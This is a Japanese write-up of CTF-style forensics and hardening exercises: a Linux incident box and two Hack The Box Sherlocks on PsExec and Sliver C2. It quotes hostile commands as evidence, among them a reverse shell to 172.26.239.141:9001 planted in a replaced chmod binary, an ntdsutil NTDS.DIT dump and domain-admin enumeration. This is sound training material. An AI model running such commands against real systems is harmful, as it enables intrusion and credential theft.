パスワードのハッシュ化方式を答える問題。/etc/shadowを見てみると$y$...というハッシュが多く残っていた。yescryptというものらしい…が得点が増えないので違うみたい。/etc/login.defsを見てみると違う設定値が書かれていた。

#
# If set to MD5 , MD5-based algorithm will be used for encrypting password
# If set to SHA256, SHA256-based algorithm will be used for encrypting password
# If set to SHA512, SHA512-based algorithm will be used for encrypting password
# If set to DES, DES-based algorithm will be used for encrypting password (default)
# Overrides the MD5_CRYPT_ENAB option
#
# Note: It is recommended to use a value consistent with
# the PAM modules configuration.
#
ENCRYPT_METHOD MD5

よってMD5を答えると正答。6ポイントゲット。

Forensics Question 4 - 6 pts

Some malicious activity has recently been logged from the various authorized users on the system, but don't seem to be the amogi themselves. We suspect thatthere may be a backdoor that is being run by our users. What is the ip that the backdoor reaches out to?

バックドアが仕掛けられているので答える問題。色々巡回すると/var/spool/cron/crontabs/rootに怪しい記載があった。

*/5 * * * * /dev/net/file.py

見に行ったが無かった。/dev/net/についてよく分かってないが、ネット経由で実行されているのだろう。違うか…

聞かれているのは接続先なので、どこかのログに残ってないかなと思いながら別の問題を解きながらログを見ていくとジャーナルログに以下のような記録を見つける。

Jul 19 07:02:20 skeld sudo[6947]:      red : TTY=pts/0 ; PWD=/usr/bin ; USER=root ; COMMAND=/usr/bin/nano chmod

/usr/bin/chmodの中身を見てみると以下のようなバッチファイルに変わっていた。

exec > /dev/null 2>&1

sh -i >& /dev/tcp/172.26.239.141/9001 0>&1

リバースシェルが張られている。172.26.239.141が答えで6ポイント獲得。

Forensics Question 5 - 6 pts

Due to a recent influx in traffic, we suspect that our samba share's integrity has been compromised, and is being used for other purposes than hosting our crew's photos. What is the full path of the unauthorized file that is being shared?

sambaサーバが侵害されて何かが置かれているみたいなので、そのフルパスを取得する問題。

/etc/samba/smb.confを見ると、usershare allow guests = yesになっているので確かにanonymous。共有フォルダは/srv/shareだった。/srv/shareで何か気になるファイルが無いか探すと...というフォルダがあった辿って見つけた/srv/share/.../.../.../.../.../.skibidi_toilet.jpgが答え。6ポイント獲得。

Forensics Question 6 - 6 pts

We have recently implemented a new logging system with a mysql database to log who goes in and out of the rooms. But it seems to have been misused, and now contains sensitive information about users. With this knowledge, what is the user maroon's password?

MySQLを使った入退室システムがあるが、悪用されて機微な情報が漏洩しているとのこと。maroonのパスワードを答える問題。問題文からMySQL Server (anonymous)と分かっているので入って中を巡回してみよう。rootでログインしてmysql -h localhostで入れる。show databases;してみるとroomsというのがある。use rooms;としてshow tables;とすると色々あり、巡回するとstorageというテーブルの中にmaroonのパスワードに関する記録があった。

mysql> select * from storage;
+----------------------------------------------------------------+
| name                                                           |
+----------------------------------------------------------------+
| tan                                                            |
| lime                                                           |
| maroon                                                         |
| pink                                                           |
| maroon                                                         |
| maroon                                                         |
…
| maroon                                                         |
| maroon                                                         |
| maroon - M@rooned$hrooms                                       |
| maroon - that's your password maroon, don't forget it          |
| maroon                                                         |
| maroon                                                         |
| maroon                                                         |
| maroon                                                         |
+----------------------------------------------------------------+
153 rows in set (0.00 sec)

M@rooned$hroomsが答え。6ポイント獲得。

Forensics Question 7 - 6 pts

It seems that unauthorized sussy imposters are somehow still getting access to our systems. It seems that this backdoor has something to do with python. What is the name of the file that contains the python backdoor?

pythonバックドアが含まれているファイルの名前を答える。これも問題不備があり、答えが問題文に書かれていた。

Forensics Question 7 (yes another one) is not working as intended. The answer to this question is system_process.py.

正答すると6ポイント獲得。

Forensics Question 8 - 6 pts

What is the inode number of the file /srv/share/amogus.jpg?

inode番号はstatコマンドで見られるので以下のようにやる。

$ stat -c %i /srv/share/amogus.jpg
294792

よって294792が答え。6ポイント獲得。

設定ミス / 事後対応

脆弱な設定がされているので設定ミスを1つ1つ潰していく。また、攻撃者がやったとされるやばい設定もたくさんあるので、それも直していく。

No users are part of the shadow group - 3 pts

  • Jul 20 09:06:16 skeld sudo[3456]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /etc/groupというログがあったので777なのは一旦置いておいて中身を見てみた。するとshadow:x:42:maroonとmaroonがshadowグループに入れられていた。maroonはForensics Questionから侵害されているであろうアカウントと分かっているので怪しい。/etc/shadowを何かするグループだろうのでユーザーを消すとポイントが増えた。
  • https://serverfault.com/questions/133229/what-is-the-shadow-group-used-for
    • shadowファイル系を操作する専用のグループとして用意されているみたいだが、自分の環境にもユーザーがいないのでよく分からない
    • とりあえず手元の環境だと-rw-r----- 1 root shadow 1282 Feb 25 16:41 /etc/shadowとなっていたので、shadowファイルを読み取る権限だけ付与したいときにつけるんだろう。多分

Sudo does not preserve environment variables - 2 pts 解けなかった

  • コンテスト後discordで見つけた。sudoで環境変数を制限せよというもの。env_resetですね
  • visudoを起動してDefaults secure_path=#コメントアウトしてDefaults env_resetを追加すると得点。

 
 

ジャーナルログを見ると以下のような設定ログがあった。

Jul 20 08:41:22 skeld sudo[2836]:      red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.tcp_rfc1337=1
Jul 20 08:41:27 skeld sudo[2840]:      red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.tcp_syncookies=1
Jul 20 08:41:32 skeld sudo[2843]:      red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.ip_forward=0
Jul 20 08:41:36 skeld sudo[2847]:      red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.kptr_restrict=2
Jul 20 08:41:41 skeld sudo[2850]:      red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.unprivileged_bpf_disabled=1
Jul 20 08:41:45 skeld sudo[2854]:      red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.dmesg_restrict=1
Jul 20 08:41:54 skeld sudo[2859]:      red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl --system

いくつかカーネル設定が変更されていた。これを1つ1つ見ていく。ジャーナルログに記録があるのが想定だったか分からないが、/etc/sysctl.d/に設定があるものはともかく他はどうやって見つけてくるんだろう?nessusでスキャンすればよかった?

IPv4 TCP TIME-WAIT assassination protection enabled - 2 pts

  • ジャーナルログ:Jul 20 08:41:22 skeld sudo[2836]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.tcp_rfc1337=1
  • sysctl -n net.ipv4.tcp_rfc1337で現状の設定を見てみると0だった。設定ファイルを見に行くと/etc/sysctl.d/99-sysctl.confで色々設定がべた書きされていたがこれについての記載はなかったので、末尾にnet.ipv4.tcp_rfc1337=1を追記してsudo sysctl --systemすると設定が適用されてスコアが伸びる
  • ベストプラクティス的にこれを設定するのは知っていて、性能面で良い効果があるのは知っているがセキュリティ的にもメリットがあるのだろうか。あまりよく知らない

IPv4 TCP SYN cookies enabled - 2 pts

  • ジャーナルログ:Jul 20 08:41:27 skeld sudo[2840]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.tcp_syncookies=1
  • さっき見た/etc/sysctl.d/99-sysctl.confに設定が書いてあった。net.ipv4.tcp_syncookies=0とあったので1に変更しよう。その後、同様にsudo sysctl --systemで適用するとスコアが伸びる
  • TCP SYN flood攻撃を防ぐための推奨設定

IPv4 IP forwarding disabled - 2 pts

  • ジャーナルログ:Jul 20 08:41:32 skeld sudo[2843]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.ip_forward=0
  • これも/etc/sysctl.d/99-sysctl.confに設定が書いてあるので修正しよう。net.ipv4.ip_forward=1とあったので0に変更しよう。その後、同様にsudo sysctl --systemで適用するとスコアが伸びる
  • IPフォワードを無効化することで中継(によるIPアドレス送信元のなりすまし)を防止する

Kernel pointers hidden from all users - 2 pts

  • ジャーナルログ:Jul 20 08:41:36 skeld sudo[2847]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.kptr_restrict=2
  • これは/etc/sysctl.d/99-sysctl.confに記載がないので追記する。kernel.kptr_restrict=2を末尾に追記して、sudo sysctl --systemで適用するとスコアが伸びる
  • 2にすると全てのユーザーに対してカーネルアドレスを隠ぺいする。攻撃を難しくする効果がある

Restrict unprivileged access to BPF enabled - 2 pts

  • ジャーナルログ:Jul 20 08:41:41 skeld sudo[2850]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.unprivileged_bpf_disabled=1
  • /etc/sysctl.d/99-sysctl.confに設定が書いてあるので修正しよう。kernel.unprivileged_bpf_disabled=0とあったので1に変更しよう。その後、同様にsudo sysctl --systemで適用するとスコアが伸びる
  • Unprivileged BPFを無効化する。BPF色々できるので、Unprivilegedは無効化しておいた方が良さそうではある

Restrict unprivileged access to the kernel syslog enabled - 2 pts

  • ジャーナルログ:Jul 20 08:41:45 skeld sudo[2854]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.dmesg_restrict=1
  • /etc/sysctl.d/99-sysctl.confに設定が書いてあるので修正しよう。kernel.dmesg_restrict=0とあったので1に変更しよう。その後、同様にsudo sysctl --systemで適用するとスコアが伸びる
  • dmesgをユーザー権限で実行できなくする

 
 

ジャーナルログの以下の部分で/etc以下の重要そうなファイルが全世界公開状態にされている。

Jul 20 09:06:12 skeld sudo[3453]:      red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /srv/share
Jul 20 09:06:16 skeld sudo[3456]:      red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /etc/group
Jul 20 09:06:18 skeld sudo[3460]:      red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /etc/shadow
Jul 20 09:06:21 skeld sudo[3463]:      red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /etc/passwd
Jul 20 09:06:30 skeld sudo[3467]:      red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chown maroon /etc/shadow
Jul 20 09:06:45 skeld sudo[3474]:      red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod +s /usr/bin/nano

手元の環境と一致させることで標準のものに戻そう。Forensics Questions 4にもあるようにchmodがバックドアに書き換えられている。しょうがないのでscpでchmodを送り込む。cp $(which chmod) .でコピーしてきてscp chmod red@192.168.79.2:~/で送り込んで、問題環境でcp chmod /usr/bin/chmodのように再配置する。

Removed insecure permissions on passwd file - 3 pts

  • 手元の環境 -rw-r--r-- 1 root root 2684 Feb 25 16:41 /etc/passwd
  • chmod 644 /etc/passwdで正す

Removed insecure permissions on group file - 2 pts

  • 手元の環境 -rw-r--r-- 1 root root 1098 Feb 25 16:41 /etc/group
  • chmod 644 /etc/groupで正す

Shadow is owned by root - 3 pts

  • 手元の環境 -rw-r----- 1 root shadow 1282 Feb 25 16:41 /etc/shadow
  • chown root /etc/shadowで正す

Removed SUID bit from nano - 3 pts

  • ジャーナルログ Jul 20 09:06:45 skeld sudo[3474]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod +s /usr/bin/nano
  • ls -la /usr/bin/nanoしてみると-rwsr-sr-x 1 root root 283144 Jul 20 01:06 /usr/bin/nanoだったので確かにSUIDが付いている
  • chmod -s /usr/bin/nanoで正す

Fixed insecure permissions on Samba share folder - 3 pts

  • ジャーナルログ Jul 20 09:06:12 skeld sudo[3453]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /srv/share
  • どう直すか迷ったが中に入っているファイルが644だったので644にしておいた chmod 644 /srv/share

 
 

各サービスにおける設定のハードニングも実施する。ジャーナルログにどのサービスの設定に手を入れていたかの記録があったのでそれを頼りに見ていく。

AppArmor service has been started - 3 pts

  • ジャーナルログにAppArmorが止められているログが残っていた
    • Jul 19 05:49:39 skeld sudo[4124]: root : TTY=pts/1 ; PWD=/home/red ; USER=root ; COMMAND=/usr/bin/systemctl stop apparmor
    • Jul 19 05:50:17 skeld sudo[4131]: root : TTY=pts/1 ; PWD=/home/red ; USER=root ; COMMAND=/usr/bin/systemctl disable apparmor.service
  • systemctl status apparmorで確認するとinactiveだったので再度動かす
  • 動かそう。systemctl enable apparmor.serviceしてsystemctl start apparmor

Samba encryption enabled - 3 pts 解けなかった

  • ジャーナルログ:Jul 20 06:11:54 skeld sudo[13626]: red : TTY=pts/0 ; PWD=/home/red ; USER=root ; COMMAND=/usr/bin/nano /etc/samba/smb.conf
  • /etc/samba/smb.confで何かしている雰囲気がある。何を設定すればいいか分からなかったのでsmb署名必須化を試してみたがダメ。
  • discordを見るとsamba encryptionだった。nano /etc/samba/smb.confで開き[global]以下にsmb encrypt = requiredを追加すると得点

SSH root login disabled - 3 pts

  • ジャーナルログ:Jul 20 06:13:30 skeld sudo[13632]: red : TTY=pts/0 ; PWD=/home/red ; USER=root ; COMMAND=/usr/bin/nano /etc/ssh/sshd_config
  • /etc/ssh/sshd_configで何かしている雰囲気があるので色々試すとrootログインを無効化すると点がもらえた。
  • nano /etc/ssh/sshd_configで開き、PermitRootLogin yesをnoにする

SSH strict modes enabled - 3 pts

  • 上と同様。/etc/ssh/sshd_configで何かしている雰囲気があるので色々試すと、strict modeを有効化すると点がもらえた。
  • nano /etc/ssh/sshd_configで開き、StrictModes noをyesにする。StrictModeについてよく知らないがデフォルトはyesなのでよく分からないがダメ

SSH does not permit empty passwords - 3 pts

  • 上と同様。/etc/ssh/sshd_configで何かしている雰囲気があるので色々試すと、PermitEmptyPasswords yesをnoにすると点がもらえた。
  • nano /etc/ssh/sshd_configで開き、PermitEmptyPasswords yesをnoにする。

MySQL local infile option disabled - 3 pts 解けなかった

  • ジャーナルログ:Jul 20 08:45:09 skeld sudo[2934]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/nano /etc/mysql/my.cnf
  • ジャーナルログからMySQLのハードニングをするんだろうというのは分かるが、知見が無くこことかを見ながら色々していたがダメだった
  • discordで解法を見るとほとんど方針はあっていて、(見るサイトもあっていて、)local-infileだった。ここにあるような情報
    • SQL Injectionでファイル書き込みするときのINFILEテクを防止できる
  • readme.txtにEnsure that all your MySQL configurations go into /etc/mysql/mysql.conf.d/mysql.cnfとあったのでnano /etc/mysql/mysql.conf.d/mysql.cnf[mysql]の下にlocal_infile=0を書き込むと得点

Hack The Box Sherlocks - Tracer Writeup

https://app.hackthebox.com/sherlocks/Tracer
Hack The Box Sherlocksとは

Sherlock Scenario

A junior SOC analyst on duty has reported multiple alerts indicating the presence of PsExec on a workstation. They verified the alerts and escalated the alerts to tier II. As an Incident responder you triaged the endpoint for artefacts of interest. Now please answer the questions regarding this security event so you can report it to your incident manager.
当直の若手 SOC アナリストが、ワークステーション上に PsExec が存在することを示す複数のアラートを報告しました。彼らはアラートを検証し、アラートを Tier II にエスカレーションしました。インシデント対応者として、あなたはエンドポイントで関心のあるアーティファクトトリアージしました。次に、このセキュリティ イベントに関する質問に答えて、インシデント マネージャーに報告してください。

Windowsのファストフォレンジックデータが与えられる。

Tasks

Task 1

The SOC Team suspects that an adversary is lurking in their environment and are using PsExec to move laterally. A junior SOC Analyst specifically reported the usage of PsExec on a WorkStation. How many times was PsExec executed by the attacker on the system?
SOC チームは、敵が環境内に潜んで PsExec を使用して横方向に移動しているのではないかと考えています。若手 SOC アナリストは、ワークステーションでの PsExec の使用法を具体的に報告しました。システム上で攻撃者によって PsExec が何回実行されましたか?

WinPrefetchViewでPrefetchフォルダを開き、PSEXECのRun Counterを見ると9回実行されていた。

Task 2

What is the name of the service binary dropped by PsExec tool allowing attacker to execute remote commands?
攻撃者がリモート コマンドを実行できるようにする PsExec ツールによってドロップされるサービス バイナリの名前は何ですか?

Taks 1と同じところを見ると参照ファイルの一覧があるのでそれっぽいものを提出すると正答。psexesvc.exe

Task 3

Now we have confirmed that PsExec ran multiple times, we are particularly interested in the 5th Last instance of the PsExec. What is the timestamp when the PsExec Service binary ran?
PsExec が複数回実行されたことを確認しました。特に、PsExec の最後の 5 番目のインスタンスに注目します。PsExec サービス バイナリが実行されたときのタイムスタンプは何ですか?

PSEXESVC.EXE-AD70946C.pf 9/7/2023 8:10:04 AM 9/7/2023 8:10:04 AM 4,185   PSEXESVC.EXE    \VOLUME{01d951602330db46-52233816}\WINDOWS\PSEXESVC.EXE 9   9/7/2023 12:10:03 PM, 9/7/2023 12:09:09 PM, 9/7/2023 12:08:54 PM, 9/7/2023 12:08:23 PM, 9/7/2023 12:06:54 PM, 9/7/2023 11:57:53 AM, 9/7/2023 11:57:43 AM, 9/7/2023 11:55:44 AM  No  

こんな感じで記録に残っている。

9/7/2023 12:10:03 PM
9/7/2023 12:09:09 PM
9/7/2023 12:08:54 PM
9/7/2023 12:08:23 PM
9/7/2023 12:06:54 PM 5番目のこれが正解
9/7/2023 11:57:53 AM
9/7/2023 11:57:43 AM
9/7/2023 11:55:44 AM

Task 4

Can you confirm the hostname of the workstation from which attacker moved laterally?
攻撃者が横方向に移動したワークステーションのホスト名を確認できますか?

Hayabusaを使ってイベントログを検索してみる。

C:\Users\WDAGUtilityAccount\Downloads\hayabusa-2.10.1-win-64-bit>hayabusa-2.10.1-win-x64.exe search -d C:\Users\WDAGUtilityAccount\Downloads\tracer.zip\Tracer\C\Windows\System32\winevt\logs -k PsExec

死ぬほど便利で、一発で怪しいのが出てくる。

2023-09-07 20:59:11.650 +09:00 ‖ Forela-Wkstn002.forela.local ‖ Sysmon ‖ 1 ‖ 158418 ‖ Process Creation ‖ CommandLine: "C:\Users\Administrator\Downloads\PSTools\PsExec64.exe" \\Forela-Wkstn001 -u Administrator -i whoami ¦ Company: Sysinternals - www.sysinternals.com ¦ CurrentDirectory: C:\Users\Administrator\Downloads\PSTools\ ¦ Description: Execute processes remotely ¦ FileVersion: 2.43 ¦ Hashes: SHA1=0098C79E1404B4399BF0E686D88DBF052269A302,MD5=DB89EC570E6281934A5C5FCF7F4C8967,SHA256=EDFAE1A69522F87B12C6DAC3225D930E4848832E3C551EE1E7D31736BF4525EF,IMPHASH=8A589B59271D320348F6CDEC90A97E6C ¦ Image: C:\Users\Administrator\Downloads\PSTools\PsExec64.exe ¦ IntegrityLevel: High ¦ LogonGuid: B02EC91E-B9F5-64F9-189A-290000000000 ¦ LogonId: 0x299a18 ¦ OriginalFileName: psexec.c ¦ ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ¦ ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ ParentProcessGuid: B02EC91E-BAF8-64F9-C101-000000003000 ¦ ParentProcessId: 10792 ¦ ParentUser: FORELA\Administrator ¦ ProcessGuid: B02EC91E-BB0F-64F9-CA01-000000003000 ¦ ProcessId: 3344 ¦ Product: Sysinternals PsExec ¦ RuleName: technique_id=T1059.001,technique_name=PowerShell ¦ TerminalSessionId: 2 ¦ User: FORELA\Administrator ¦ UtcTime: 2023-09-07 11:59:11.645 ‖ C:\Users\WDAGUtilityAccount\Downloads\tracer.zip\Tracer\C\Windows\System32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

Forela-Wkstn001が答え。

Task 5

What is full name of the Key File dropped by 5th last instance of the Psexec?
Psexec の最後の 5 番目のインスタンスによってドロップされたキー ファイルのフル ネームは何ですか?

Prefetchで見てみるといくつか.keyファイルが見て取れる。

C:\Users\WDAGUtilityAccount\Downloads\hayabusa-2.10.1-win-64-bit>hayabusa-2.10.1-win-x64.exe search -d C:\Users\WDAGUtilityAccount\Downloads\tracer.zip\Tracer\C\Windows\System32\winevt\logs -k ".key"

みたいにHayabusaで.keyで検索するとSysmonのログが入っているので、色々出てきた。

2023-09-07 21:06:55.064 +09:00 ‖ Forela-Wkstn002.forela.local ‖ Sysmon ‖ 11 ‖ 159599 ‖ File Creation or Overwrite ‖ CreationUtcTime: 2023-09-07 12:06:55.054 ¦ Image: System ¦ ProcessGuid: B02EC91E-B89C-64F9-EB03-000000000000 ¦ ProcessId: 4 ¦ RuleName: technique_id=T1574.010,technique_name=Services File Permissions Weakness ¦ TargetFilename: C:\Windows\PSEXEC-FORELA-WKSTN001-95F03CFE.key ¦ User: NT AUTHORITY\SYSTEM ¦ UtcTime: 2023-09-07 12:06:55.054 ‖ C:\Users\WDAGUtilityAccount\Downloads\tracer.zip\Tracer\C\Windows\System32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

時系列で5番目のものを持ってくると正答だった。PSEXEC-FORELA-WKSTN001-95F03CFE.key

Task 6

Can you confirm the timestamp when this key file was created on disk?
このキー ファイルがディスク上に作成されたときのタイムスタンプを確認できますか?

Task 5のログを使えばいい。

Task 7

What is the full name of the Named Pipe ending with the "stderr" keyword for the 5th last instance of the PsExec?
PsExec の最後の 5 番目のインスタンスの「stderr」キーワードで終わる名前付きパイプの完全な名前は何ですか?

C:\Users\WDAGUtilityAccount\Downloads\hayabusa-2.10.1-win-64-bit>hayabusa-2.10.1-win-x64.exe search -d C:\Users\WDAGUtilityAccount\Downloads\tracer.zip\Tracer\C\Windows\System32\winevt\logs -k "stderr"

stderrで検索してみると名前付きパイプの情報が出てきた。時系列で新しいものから5番目のやつを持ってくれば正答。

2023-09-07 21:06:55.084 +09:00 ‖ Forela-Wkstn002.forela.local ‖ Sysmon ‖ 17 ‖ 159603 ‖ Named Pipe Created ‖ EventType: CreatePipe ¦ Image: C:\WINDOWS\PSEXESVC.exe ¦ PipeName: \PSEXESVC-FORELA-WKSTN001-3056-stderr ¦ ProcessGuid: B02EC91E-BCDE-64F9-0C02-000000003000 ¦ ProcessId: 6836 ¦ RuleName: - ¦ User: NT AUTHORITY\SYSTEM ¦ UtcTime: 2023-09-07 12:06:55.069 ‖ C:\Users\WDAGUtilityAccount\Downloads\tracer.zip\Tracer\C\Windows\System32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

\PSEXESVC-FORELA-WKSTN001-3056-stderrが答え。

Hack The Box Sherlocks - ProcNet Writeup

https://app.hackthebox.com/sherlocks/ProcNet
Hack The Box Sherlocksとは

Sherlock Scenario

With the rising utilization of open-source C2 frameworks by threat actors, our red team has simulated the functionalities of one such widely employed framework. The objective of this exercise is to aid blue teams in strengthening their defenses against these specific threats. We have been provided with PCAP files and APIs collected during the event, which will serve as valuable resources. Let us now initiate the hunting process. Using the API Monitor: We are well-acquainted with opening PCAP and .EVTX files, but what are .apmx64 ? The .apmx64 file extension is associated with API Monitor, a software used to monitor and control API calls made by applications and services. To commence your analysis, follow the steps provided below: Download the API Monitor Navigate to "Files" and click on "Open" to view captured data from the file: "Employee.apmx64" or "DC01.apmx64" After opening the file, the "Monitoring Process" window will populate with a list of processes. Expand the view by clicking the '+' symbol to reveal the modules and threads associated with each process. The API calls can be observed in the "Summary" window. To focus our analysis on a specific module, click on the different DLLs loaded by the processes. TIP: When conducting analysis, it is advisable to begin by examining the API calls made by the process itself, rather than focusing solely on DLLs. For instance, if I intend to analyze the API calls of a process named csgo.exe, I will initially expand the view by clicking the '+' symbol. Then, I will narrow down my analysis specifically to 'csgo.exe' by selecting it, and I can further analyze other DLLs as needed.
脅威アクターによるオープンソース C2 フレームワークの利用が増加しているため、当社のレッド チームは、そのような広く使用されているフレームワークの 1 つの機能をシミュレートしました。この演習の目的は、青チームがこれらの特定の脅威に対する防御を強化できるように支援することです。イベント中に収集された貴重なリソースとなる PCAP ファイルと API を提供していただきました。では、狩猟プロセスを開始しましょう。API モニターの使用: PCAP および .EVTX ファイルを開くことはよく知っていますが、.apmx64 とは何ですか? .apmx64 ファイル拡張子は、アプリケーションやサービスによって行われる API 呼び出しを監視および制御するために使用されるソフトウェアである API Monitor に関連付けられています。分析を開始するには、以下の手順に従ってください。 API モニターをダウンロードします。 [ファイル] に移動し、[開く] をクリックして、ファイルからキャプチャされたデータを表示します: 「Employee.apmx64」または「DC01.apmx64」 ファイルを開いた後、 「プロセスの監視」ウィンドウにプロセスのリストが表示されます。「+」記号をクリックしてビューを展開すると、各プロセスに関連付けられたモジュールとスレッドが表示されます。API 呼び出しは「概要」ウィンドウで確認できます。特定のモジュールに焦点を当てて分析するには、プロセスによってロードされたさまざまな DLL をクリックします。ヒント: 分析を行うときは、DLL だけに焦点を当てるのではなく、プロセス自体によって行われる API 呼び出しを調べることから始めることをお勧めします。たとえば、csgo.exe という名前のプロセスの API 呼び出しを分析する場合は、最初に「+」記号をクリックしてビューを展開します。次に、「csgo.exe」を選択して分析対象を特に絞り込み、必要に応じて他の DLL をさらに分析できます。

一般PCとドメインコントローラーについて、

  • API Monitorによるクライアントログ
  • パケットキャプチャ
  • Sysmonのevtxファイル

が与えられて、設問に答えていく。

Tasks

Task 1

To which IP address and port number is the malware attempting to establish a connection ?
マルウェアはどの IP アドレスとポート番号に対して接続を確立しようとしていますか?

クライアント側のpcapファイルを眺めると3.6.165.8:443だった。

Task 2

Now that you are aware of the IP address and port number, what is the JA3 fingerprint of the C2 server ?
IP アドレスとポート番号はわかったので、C2 サーバーの JA3 フィンガープリントは何でしょうか?

WireSharkプラグインを探すと便利そうなものがあった。

fullylegit/ja3: A wireshark/tshark plugin for the JA3 TLS Client Fingerprinting Algorithm

ip.addr == 3.6.165.8 && tcp.port == 443でフィルタリングして出てきたNo.18487でJA3フィンガープリントを取得できる。19e29534fd49dd27d09234e639c4057e

Task 3

What is the name of the C2 framework being utilized by the red team ?
レッドチームが使用している C2 フレームワークの名前は何ですか?

Task 2のJA3フィンガープリントで検索すると以下サイトが見つかり、Silverであることが分かる。

https://www.bilibili.com/read/cv19510951/

Task 4

Which WIN32 API provided the red team with the current directory information ?
どの WIN32 API がレッド チームに現在のディレクトリ情報を提供しましたか?

API Monitorでcsgo.exeでの呼び出しを眺めるとある。

#    Time of Day Thread  Module  API Return Value    Error   Duration
8   4:31:34.820 PM  2   csgo.exe    GetCurrentDirectoryW ( 300, 0x000000c0001b7c88 )    31      0.0000031

Task 5

Now that we have identified the C2 framework utilized by the red team, which C2 command is responsible for opening notepad.exe by default and loading the .NET CLR into it ?
レッド チームが利用している C2 フレームワークが特定できたので、デフォルトで notepad.exe を開いて .NET CLR をロードするのはどの C2 コマンドですか?

silver c2あたりで検索してそれっぽいものを探す。ここを見るとexecute-assemblyだった。

Task 6

What is the name of the module (DLL) that was loaded to gain access to Windows Vault ?
Windows Vault にアクセスするためにロードされたモジュール (DLL) の名前は何ですか?

Task 5からnotepad.exeを見ればいいことは分かっているので、API Monitorでnotepad.exeでの呼び出しを眺めるとある。

#    Time of Day Thread  Module  API Return Value    Error   Duration
26913   4:34:00.866 PM  1   clr.dll LoadLibraryExW ( "vaultcli.dll", NULL, 0 )  0x00007fff16860000      0.0036025

Task 7

After loading the mentioned module, there were a series of WIN32 APIs loaded. Which specific Win32 API is responsible for enumerating vaults ?
前述のモジュールをロードした後、一連の WIN32 API がロードされました。ボールトの列挙を担当する特定の Win32 API はどれですか?

API Monitorでnotepad.exeでの呼び出しを眺めるとある。

#    Time of Day Thread  Module  API Return Value    Error   Duration
#   Time of Day Thread  Module  API Return Value    Error   Duration
26559   4:34:00.834 PM  1   clr.dll WideCharToMultiByte ( CP_UTF8, 0, "VaultEnumerateVaults", -1, NULL, 0, NULL, NULL ) 21      0.0000003

27267   4:34:00.898 PM  1   clr.dll GetProcAddress ( 0x00007fff16860000, "VaultOpenVault" ) 0x00007fff168638f0      0.0000030
27268   4:34:00.898 PM  1   clr.dll GetProcAddress ( 0x00007fff16860000, "VaultOpenVaultW" )    NULL    127 = 指定されたプロシージャが見つかりません。  0.0000023

27449   4:34:00.913 PM  1   clr.dll GetProcAddress ( 0x00007fff16860000, "VaultEnumerateItems" )    0x00007fff16862820      0.0000023
27450   4:34:00.913 PM  1   clr.dll GetProcAddress ( 0x00007fff16860000, "VaultEnumerateItemsW" )   NULL    127 = 指定されたプロシージャが見つかりません。  0.0000020

Task 8

Which command did the attacker execute to identify domain admins ?
攻撃者はドメイン管理者を特定するためにどのコマンドを実行しましたか?

API Monitorでcsgo.exeでの呼び出しを眺めるとある。

#    Time of Day Thread  Module  API Return Value    Error   Duration
1632    4:41:11.197 PM  4   csgo.exe    CreateProcessW ( "C:\WINDOWS\system32\net.exe", "net group "domain admins" /dom", NULL, NULL, TRUE, CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT, 0x000000c0001c2000, NULL, 0x000000c00009b9f8, 0x000000c00009b8d8 )   TRUE        0.0113765

Task 9

The red team has provided us with a hint that they utilized one of the tools from "ARMORY" for lateral movement to DC01. What is the name of the tool ?
レッドチームは、DC01 への横方向の移動に「ARMORY」のツールの 1 つを利用したというヒントを提供してくれました。ツールの名前は何ですか?

armoryのレポジトリを眺めてそれっぽいものを提出した。

https://github.com/orgs/sliverarmory/repositories

SharpWMIだった。

Task 10

Which command was executed by the red team to extract/dump the contents of NTDS.DIT ?
NTDS.DIT​​ の内容を抽出/ダンプするためにレッド チームによって実行されたコマンドはどれですか?

DCのAPI MonitorでPID:7332で適当に探すとある。

#    Time of Day Thread  Module  API Return Value    Error   Duration
205 4:55:26.539 PM  1   cmd.exe wcschr ( "cmd /c ntdsutil "ac in ntds" ifm "cr fu %TEMP%\H00i0Z000.dat" q q", '/' ) 0x00007ff7afe92818      0.0000031

Task 11

The red team has obtained the aforementioned dump by compressing it into a ZIP file. Which specific Win32 API is responsible for retrieving the full path of the file to be downloaded?
